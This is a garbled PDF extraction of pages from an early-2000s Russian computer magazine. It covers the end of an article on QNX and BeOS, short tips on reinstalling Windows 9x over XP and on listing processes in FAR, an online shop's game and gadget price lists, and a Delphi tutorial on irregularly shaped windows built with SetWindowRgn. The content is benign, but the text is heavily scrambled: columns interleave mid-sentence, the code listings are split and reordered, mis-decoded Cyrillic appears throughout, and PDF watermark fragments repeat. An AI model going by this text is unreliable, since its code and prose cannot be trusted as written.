Был только один минус - запредельная цена. Однако

Когда архитектура не прижилась, пришлось порти-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

уже через некоторое время QNX Software System вы-

ровать BeOS на компьютеры PowerPC и Intel. Вот тут

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

пустила нормальную версию своей системы: увели-

эта ОС и появилась на обычном рынке. Так что не

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

чился размер дистрибутива, возросли требования к

путай божий дар с яичницей.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

железу, а цена упала. Теперь QNX - это ОС, обросшая

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

своими средствами разработки (Photon Application

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Builder = (Visual C++) + (Delphi), пользователями и

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

т.п. Для QNX уже начали появляться статьи по сис-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

темному программированию…

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Tips&Tricks

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Если приспичило снести WinXP и поставить 9х, а свои

отношение к Windows XP: NTLDR, BOOT.INI и другие...

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

файлы, документы и прочее терять не хочется, то есть

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

один выход. Если XP стоял на NTFS, то сначала нужно

Mr_Crash

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

сконвертировать диск в FAT32. Для этого используем

mr_crash@freemail.ru

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Partition Magic. Потом созда¸м загрузочную дискету

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

нужной версии Windows, копируем на не¸ файлы

Хочешь увидеть свои советы в журнале? Присылай их на

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

fdisk.com, sys.com и загружаемся с нее. Выполняем

 

адрес Sklyarov@real.xakep.ru. Ведущий рубрики

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

команды FDISK/MBR и SYS A: C:. После этого удаляешь

 

 

Tips&Tricks Иван Скляров.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

win dir и файлы из корневого каталога, имеющие

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

5 Юниксоид 6 X-Стиль

7 Кодинг

8

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

È Í Ò Å Ð Í Å Ò

(095) 928 - 6089, (095) 928 - 0360, (095) 928 - 3574

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

$ 69,99

Age

of Mythology

$ 22,99

Need for Speed: Hot Pursuit 2

$ 22,99

Anarchy Online:

Notum Wars

$ 55,99

The Elder

Scrolls III:

Morrowind:

Tribunal

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$ 59,99

 

 

 

 

 

 

 

 

 

 

$ 72,95

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$ 18,99

 

 

 

 

 

 

 

 

 

 

Earth

$ 59,99

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

and

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Beyond

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

The Sims

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

The Thing

 

 

 

 

 

 

 

 

Online

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$ 59,99

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Sid Meier's

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Medal of Honor: Allied

 

 

 

$ 89,99

 

 

 

 

 

 

 

Civilization III:

 

Assault: Spearhead

 

 

 

 

 

 

 

 

 

 

Play the

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Expansion Pack

 

 

 

 

 

 

 

 

 

 

 

 

World

 

 

MechWarrior 4:

 

$ 89,99

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$

49,99

 

 

EverQuest:

 

Mercenaries

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

The Planes of Power

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$ 64,99

 

 

 

 

 

 

 

 

 

Collector's

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Edition

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$ 55,99

 

 

 

 

ñ Firiona

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Vie Figurine

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$ 79,99

 

 

 

 

 

 

 

 

 

 

 

 

 

Dark Age of

 

Quake III:

 

 

 

 

 

 

 

 

 

 

 

 

Camelot:

 

Gold Edition

 

 

 

 

 

 

 

 

 

 

 

 

Shrouded Isles

 

$ 79,99

 

 

Neverwinter

Airport 2002 Volume 1

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Add-on ê Microsofr Flight

 

 

 

 

 

 

 

 

 

Nights

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Simulator 2002

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$ 89,99

 

 

 

 

 

 

 

 

 

 

 

 

Unreal Tournament 2003

Asheron's

Call 2

$ 79,99

$ 69,95

 

Hitman 2:

Diablo Battle Chest

Silent Assassin

 

$ 33,95

(Blizzard) Warcraft III Baseball Cap

$ 13,99

(GL) Футболка "Procedure Drinks" с логотипом "Хакер", черная, темно-синяя

$ 65,99

$ 15,99

$ 29,99

 

Zanzarah:

 

 

 

F

The

(WestWood)

 

 

 

Hidden

Command &

 

 

 

Portal

Conquer:

 

 

 

 

$ 99,99

 

Tiberian Sun

 

 

WarCraft III:

 

 

Military

 

 

 

Reign of Chaos

Final Fantasy X:

Insignias

 

Tidus Silver Watch

 

 

ИНТЕРНЕТ-МАГАЗИН

Metal Gear

$ 75,99

ЗАКАЗЫ ПО ИНТЕРНЕТУ — КРУГЛОСУТОЧНО!

2: Snake

 

E-MAIL: sales@e-shop.ru

Zippo(R)

 

ЗАКАЗЫ ПО ТЕЛЕФОНУ МОЖНО СДЕЛАТЬ С 10.00 ДО 21.00 БЕЗ ВЫХОДНЫХ

Lighter

 

ТЕЛЕФОНЫ: 928-6089, 928-0360, 928-3574

Case Set

 

МЫ ПРИНИМАЕМ ЗАКАЗЫ НА ЛЮБЫЕ АМЕРИКАНСКИЕ ИГРЫ!

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Ì À Ã À Ç È Í

(095) 928 - 6089, (095) 928 - 0360, (095) 928 - 3574

$ 500,95

Psion 5mx

$ 699,99

$ 729,99

Toshiba e740

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

$ 1020

$ 229,95

Sony

CyberShot

OSC-F707

5.2 Mpixel

Jstck/ CH Flight

Sim Yoke USB

$ 110

$ 225

Headphones/

Sennheiser HD 265

Vocal Headphones

 

 

 

 

 

 

 

 

Spkrs/VideoLogic

 

 

 

 

 

 

 

 

DigiTheatre LC - Silver

25,99

 

 

 

 

$ 59

 

 

 

 

 

 

 

(ORIGIN) Ultima Online:

 

 

 

Video/

Lord Blackthorn Figure

 

 

 

 

Pinnacle

 

 

 

 

 

 

Systems Studio

 

 

 

 

 

 

 

 

PCTV

 

 

 

 

 

 

 

 

 

$ 37,99

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Final Fantasy X:

 

 

$ 25,99

 

Yuna Image Clock

 

 

 

 

Gifts

$ 29,99

 

 

 

 

 

 

 

 

 

 

(WestWood)

 

(Bungie) Halo:

 

 

 

Command & Conquer:

 

 

 

Tiberian Sun:

The Fall of Reach

 

 

Collector's Edition -

 

 

 

 

 

Pewter Figure (GDI)

 

 

 

 

 

Compaq

 

iPaq H3970

$ 625,99

 

mobile

 

Fujitsu-Siemens Pocket

 

 

 

 

LOOX 600

 

computers

 

 

$ 720

Sony CyberShot Digital

 

Camera DSC-S85

 

 

$ 450

VINTEN PRO 5DP

 

 

штатив

 

$ 95,95

SanDisk

 

 

128 MB

 

 

CompactFlash

 

 

Card

 

 

#

 

 

 

#1(49)

 

 

Да, Я хочу получать

 

БЕСПЛАТНЫЙ КАТАЛОГ E-Shop

 

Город

 

 

#

Улица

 

 

Äîì

корпус

квартира

ÔÈÎ

Отправьте купон по адресу: 101000, Москва, Главпочтамт, а/я 652, E-Shop

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

w

 

 

 

to

 

 

 

 

o

Кодинг

P

 

 

 

 

 

NOW!

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

o

m

 

 

w

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

БЕЗБАШЕННЫЕ ОКНА

Фленов Михаил (smirnandr@mail.ru)Delphi http://www.cydsoft.com/vr-online/

Безбашенные окна

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

-ì ãîäó

почти все окна были прямоугольными,

è âñåõ ýòî

 

 

 

 

 

 

 

 

 

 

 

бум на создание

Åùå â 1995

 

 

 

 

начался самый настоящий

. Но несколько лет назад

 

 

долгом

устраивало

 

 

. Любой

продвинутый перец считает своим

 

 

 

 

среди

окон неправильной формы

 

чтобы его софтинка явно выделялась

сделать окно необычной формы,

 

 

 

.

 

 

 

 

 

 

 

 

 

âñåõ

конкурентов

 

 

 

 

 

 

 

 

 

 

 

 

 

-online/

 

 

 

 

 

 

 

 

 

 

 

.cydsoft.com/vr

 

 

 

 

 

 

 

 

 

 

mail.ru) http://www

 

 

 

 

 

 

 

Фленов Михаил (smirnandr@

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Òàì

 

 

 

О том, как создавать

круглые и дырявые окна, ты можешь узнать на

моем сайте

 

 

 

 

 

 

 

 

 

 

 

 

«Нестандартные окна».

Ну, а здесь я по-

 

 

 

в разделе «Delphi (Практика)» есть статья

 

 

 

 

 

окна, абсолютно неправильной формы

 

 

 

кажу, как создавать абсолютно безбашенные

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

и абсолютно неповторимой внешности

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Руки на старт

 

 

 

 

 

 

 

 

 

 

 

TImage. Â íåãî çà-

 

 

 

Создай новый проект. Бросим

на форму всего один компонент

 

 

 

 

качестве

ôîíà îê-

 

 

 

 

 

будет использоваться в

 

 

 

-нибудь картинку, которая

 

 

 

 

 

 

гружай какую

 

 

 

 

 

 

 

 

 

 

 

рисунке 1 ты видишь мое окно с ри-

 

 

на, по ней мы и будем создавать форму. На

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

À ìîÿ

 

 

 

 

 

 

сунком в виде кадра из фильма

 

«Матрица»

будет

 

 

 

 

 

 

программа

 

будет создавать окно,

которое

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

Âåñü

фон белого

 

 

 

 

 

 

иметь форму девушки с компом

ôîíà

 

 

 

-

 

 

 

 

 

 

цвета я сделаю прозрачным

(öâåò

ÿ áóäó îïðå

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

делять по цвету левой верхней точки

изображения)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Сделай картинку TImage невидимой

(свойство Visible

 

 

 

 

 

 

 

 

 

на форме

 

 

 

 

 

 

нужно установить в false).

Она нужна нам

 

 

 

 

 

 

 

 

íå

 

 

 

 

 

 

только для хранения картинки, и сам компонент

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

Конечно, можно

 

Рисунок 1. Форма

 

 

должен быть виден

 

после запуска

 

 

 

 

 

 

 

 

 

будущей программы

 

 

áûëî

загрузить картинку, не используя компонентов,

 

 

 

 

 

 

 

 

 

 

 

 

 

решать, как

ты будешь его

 

 

 

 

 

 

но это - пример, а уж тебе

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

использовать в будущем

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Шкодинг

 

 

 

 

 

 

 

 

 

 

 

и пишем в нем следующий код:

 

 

 

Теперь создаем обработчик

события FormCreate

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

procedure TForm1.FormCreate(Sender:

TObject);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

var

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

WindowRgn: HRGN;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

begin

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

le := bsNone;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BorderSty

 

 

 

 

 

 

 

 

 

 

.Width;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.Picture.Bitmap

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ClientWidth := Image1

 

 

 

 

 

 

 

 

 

.Height;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.Picture.Bitmap

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ClientHeight := Image1

 

 

 

 

 

 

 

 

 

 

 

.Picture.Bitmap);

 

 

 

 

 

 

windowRgn := CreateRgnFromBitmap(Image1

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

le, WindowRgn, True);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

SetWindowRgn(Hand

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

end;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

В первой строчке я изменяю стиль окна

на bsNone, чтобы окно не имело никаких

ðà-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

размеры клиентской

 

 

. В следующих двух строчках я устанавливаю

 

 

 

 

 

 

 

 

 

 

 

 

мок и заголовков

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

области окна в размеры

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

Здесь

изображения

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Последние две строчки

являются самыми сложными

в нашей программе

 

 

 

 

 

 

 

 

 

 

åùå íàäî íàïè-

 

 

 

 

 

 

 

 

 

 

 

 

p (эту функцию

сначала вызывается функция CreateRgnFromBitma

 

 

 

 

 

 

 

 

 

 

 

 

 

-

. Она будет создавать нестандартный

âèä

окна, и потом сохранит его в пере

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

êî-

ñàòü)

 

. Â

последней строке я вызываю API функцию SetWindowRgn,

менной windowRgn

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

торая связывает

созданный регион с нашим окном.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

p. Она довольно большая и описать

Теперь немного о функции CreateRgnFromBitma

 

 

 

 

 

 

 

 

 

 

 

 

 

åå

ее здесь подробно не получится – места не

хватит. Я постарался максимально

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

упростить, чтобы ты смог сам во всем разобраться

 

 

 

 

 

 

 

 

 

 

 

 

p ты найдешь во врезке. Все это нужно написать

Итак, функцию CreateRgnFromBitma

 

.

 

 

 

 

 

 

 

 

 

раньше кода обработчика

события FormCreate

 

 

 

 

 

 

 

 

 

 

 

 

 

îêíà

 

 

 

Перетаскивание

 

 

 

 

 

 

 

 

 

запускать

программу и на-

Если ты уже сделал все,

что описано выше, то можешь

 

íå

имеет

 

 

нас есть одна недоработка - программа

 

 

 

. Íî ó

 

-

слаждаться результатом

 

 

 

 

 

 

 

 

 

 

 

 

 

строки заголовка и состоит только из одной клиентской

части, а значит, окно нель

 

.

 

 

зя перемещать по экрану. Но эта проблема

решается очень просто

 

 

Для начала в разделе private объявления

формы объявляем три переменные:

 

 

 

 

 

 

 

 

 

 

 

private

 

 

}

 

 

 

 

 

 

 

 

 

 

 

 

 

{ Private declarations

 

 

 

 

 

 

 

 

 

 

 

 

 

Dragging : Boolean;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

OldLeft, OldTop: Integer;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

Если переменная

Dragging равна true, то пользователь

щелкнул в окне и перетаски

 

 

 

коорди-

 

OldLeft

p будут сохраняться первоначальные

вает его. В переменных

è OldTo

 

 

 

 

 

можно засовывать в переменную

наты окна. На всякий случай, по событию OnCreate

 

 

 

 

 

-

Dragging

значение false, чтобы случайно при

старте в нее не попало true и

íå íà÷à

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ëîñü

перетаскивание

 

события OnMouseDown

для главной формы и пишем в

Теперь создаем обработчик

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

нем следующее:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

procedure TForm1.FormMouseDown(Sender:

TObject; Button: TMouseButton;

 

 

 

 

 

 

 

Shift: TShiftState; X, Y: Integer);

 

 

 

 

 

 

 

 

 

 

 

begin

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

if button=mbLeft then

 

 

 

 

 

 

 

 

 

 

 

 

 

begin

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Dragging := True;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

OldLeft := X;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

OldTop := Y;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

end;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

end;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Здесь происходит проверка,

если кликнули

левой кнопкой, то установить

перемен-

 

в которых произошел щелчок.

ную Dragging в true и запомнить координаты,

 

 

 

 

и пиши в нем следующее:

Теперь создавай обработчик

события OnMouseMove

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

procedure TForm1.FormMouseMove(Sender:

TObject; Shift: TShiftState; X,

 

 

 

 

 

Y: Integer);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

begin

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

if Dragging then

 

 

 

 

 

 

 

 

 

 

 

 

 

 

begin

-OldLeft;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Left := Left+X

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-OldTop;

 

 

 

 

 

 

 

 

 

 

 

 

 

Top := Top+Y

 

 

 

 

 

 

 

 

 

 

 

 

 

 

end;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

end;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

84

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Здесь мы проверяем, если

переменная Dragging равна true, то пользователь тащит

îêíî, è

 

 

мы должны изменить его координаты.

В обработчике события

 

 

 

OnMouseUp нужно написать только одну строчку:

Dragging := False;

 

 

Раз кнопка отпущена, мы должны изменить

переменную Dragging на false и закон

чить перетаскивание.

 

Рисунок 2. Программа в запущенном виде

Discon

 

 

 

 

 

 

nect

 

 

 

 

Посмотри на

 

 

 

 

 

 

рисунок 2, и ты увидишь мою программу в

запущенном виде. Я специ-

ально расположил

 

 

 

 

окно поверх окна с кодом программы, чтобы ты

оценил его не-

стандартный вид. Никакой

квадратности,

 

 

ти с компьютером

 

никаких оборочек, окно имеет вид

Трини-

из фильма «Матрица».

 

 

 

Рисунок 3. Компонент поверх окна

 

 

Обрати внимание на

 

Здесь поверх нашего окна я

 

 

рисунок 3.

поместил компо-

нент календаря (рисунок

 

 

 

котором календарь

слева). Справа показано окно в запущенном виде, в

 

обрезался вместе с окном. Учитывай

это, когда размеща-

åøü ÷òî-ëèáî íà îêíå.

 

 

Как всегда,

 

 

 

 

 

исходники примера можно найти на моем сайте

 

 

online/ через

 

 

http://www.

несколько дней после

выхода этого номера в свет.

cydsoft.com/vr-

 

 

Листинг

функции

CreateRgnFromBitmap

function CreateRgnFromBitma

TBitmap): HRGN;

var

p(rgnBitmap:

 

 

TransColor: TColor;

 

 

i, j: Integer;

 

 

i_width, i_height: Integer;

 

 

i_left, i_right: Integer;

 

 

rectRgn: HRGN;

 

 

begin

 

 

Result := 0;

 

 

// Запоминаю размеры окна

 

i_width := rgnBitmap.Width;

 

 

i_height := rgnBitmap.Height;

 

// Определяю прозрачный цвет

 

transColor := rgnBitmap.Canvas.

 

 

Pixels[0, 0];

 

//Запускаю цикл перебора строк картинки

//для определения области окна без фона for i := 0 to i_height - 1 do

begin

i_left := -1;

 

 

//

Запускаю цикл перебора столбцов картинки

 

 

 

for j := 0 to i_width - 1 do

 

begin

 

 

if

i_left < 0 then

 

 

begin

 

 

 

if

rgnBitmap.Canvas.Pixels[j, i] <> transColor then

 

 

 

i_left := j;

 

 

end

 

 

else

 

 

if rgnBitmap.Canvas.

 

begin

Pixels[j, i] = transColor then

 

 

 

i_right := j;

 

 

 

rectRgn := CreateRectRgn(i_left, i, i_right, i +

1);

if Result = 0 then

 

 

 

Result := rectRgn

 

 

else

 

 

 

begin

 

 

 

CombineRgn(Result, Result, rectRgn, RGN_OR);

 

DeleteObject(rectRgn);

 

 

end;

 

 

i_left := -1;

 

 

end;

 

 

end;

 

 

 

if i_left >= 0 then

 

 

begin

 

 

 

rectRgn := CreateRectRgn(i_left, i, i_width, i + 1);

 

if Result = 0 then

 

 

Result := rectRgn

 

 

else

 

 

 

 

begin

 

 

CombineRgn(Result,

Result, rectRgn, RGN_OR);

 

DeleteObject(rectRgn);

 

end;

 

 

 

end;

 

 

 

 

end;

 

 

 

 

end;

 

 

 

 

Большая Просьба

У меня к тебе просьба. Не пиши

ìíå

большие

письма. Я бы с удовольствием

помог всем

желающим, но это

невозможно

– вопросов слишком много.

 

Поэтому лучше разбей свой

вопрос

на несколько маленьких и спрашивай

постепенно,

а не все сразу.

 

 

 

 

Tips&Tricks

Есть в Fare одна полезная

Возможность

черезвычайно

фишка: "Список процессов" -

полезна обладателям Windows

F11 -> Process List (список

9x, т.к. показывает процессы,

процессов). Он

позволяет

скрытые от

трехпальцевого

просматривать и убивать лю-

меню (Ctrl+Alt+Del) - теперь

áîé

процесс. Даже

kernel32

ни один троян не спрячется ;).

(îí

действительно

умирает

 

 

вместе со всем остальным). А

Garik

 

по клавише F3 можно просма-

qstart@narod.ru

тривать свойства

процессов.

http://www.webhowto.ru/reg

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

